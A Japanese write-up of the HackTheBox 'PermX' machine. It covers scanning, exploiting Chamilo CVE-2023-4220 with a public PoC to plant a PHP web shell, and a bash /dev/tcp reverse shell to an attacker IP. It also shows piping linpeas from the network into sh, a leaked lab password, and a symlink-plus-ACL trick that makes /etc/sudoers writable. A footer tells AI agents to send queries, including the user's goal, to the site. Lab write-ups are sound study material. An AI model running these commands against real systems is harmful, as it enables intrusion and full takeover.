> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md). # PermX HackTheBox攻略記事サブドメイン列挙、Chamilo悪用、LINpeasによる列挙システム、Sudoers昇格権限（/etc/sudoersファイルの権限変更）を扱うPermX HackTheBox Easy Linuxマシンの攻略記事、 {% embed url="" %} {% hint style="warning" %} **スキル:** * サブドメイン列挙 * Chamiloのエクスプロイト * LINpeas列挙システム * Sudoers権限昇格（/etc/sudoersファイルの権限変更） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,22 10.10.11.23 -oN targeted ```

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

**Gobusterで存在しうるディレクトリを検索：** Mediumのディレクトリ一覧ファイルを使って、Webサイト上の存在しうるディレクトリをGobusterでスキャンします。 ```bash gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

**Gobusterによるディレクトリ検索：** 使用する **Gobuster** 辞書を使って隠されたアクセスファイルを見つける。 ```bash gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk ```

### サブドメイン列挙コンソールからWfuzzツールを使ってWebサイトのサブドメインを列挙するには、次のコマンドを使用できます： {% code fullWidth="true" %} ```bash wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb ``` {% endcode %}

次を更新することを忘れないでください `/etc/hosts` ファイルに、発見したサブドメインを含めます：

{% embed url="" %}

## Chamilo CMSの脆弱性： ChamiloにはCVE-2023-4220として識別された脆弱性があり、リモートコード実行（RCE）を可能にします。この欠陥を悪用するには、GitHubで公開されている次のスクリプトを使用できます： {% embed url="" %} #### GitHubリポジトリをクローンします： ```bash git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd chamilo-lms-unauthenticated-big-upload-rce-poc ``` 2. 対象に脆弱性が存在するか確認します： ```bash python3 main.py -u http://example.com/chamilo -a scan ```

### Webシェル：脆弱性が存在する場合、次を注入します： **PHPウェブシェル** Chamilo に: ```bash python3 main.py -u http://lms.permx.htb/ -a webshell ```

ウェブシェルが注入されると、ターゲットマシンでコマンドを実行できるようになります。

### リバースシェル：リバースシェル接続を確立してマシンにアクセスするには、次のコマンドをターミナルから実行します： ```url bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261" ``` 次に、4444番ポートで待ち受けます： ```bash nc -nlvp 4444 ```

## 権限昇格 **システム列挙（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** 権限確認のためにLinpeasを使用します： ```bash curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ```

**新しいユーザーの発見：** 列挙中に、次の名前の新しいユーザーを特定しました `mtz`.

**パスワードの取得：** 次のパスワードが見つかりました：

```bash mtz:03F6lY3uXAP2bkW8 ```

#### user.txtのフラグ:

### Sudoers: 次の `sudo -l` コマンドを実行すると、スクリプトを実行できることがわかります。 **root**. ```bash sudo -l ```

このBashスクリプトは、パスの妥当性と対象が実際にファイルであることを確認した後、ACLを使用して特定のファイルに対するユーザーのアクセス権限を変更します。

最後に、mtzユーザーにそのファイルの読み取りおよび書き込み権限を付与しましょう ```bash sudo /opt/acl.sh mtz rw /etc/sudoers ``` エラーが発生します。なぜなら、そのファイルは私たちの `/home/mtz` ディレクトリを優先するように

回避策としては、システムファイルから `/home/mtz/` ディレクトリへのシンボリックリンクを作成し、このリンクに対してスクリプトを実行することです。 ```bash ln -s /etc/sudoers /home/mtz/sudoers_link sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link ```

sudoers/\_linkファイルを編集する必要があります。これによりsudoersファイルが更新され、mtzユーザーにフル権限が付与されます。 ```bash mtz ALL=(ALL:ALL) ALL ```

### rootフラグ: )

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.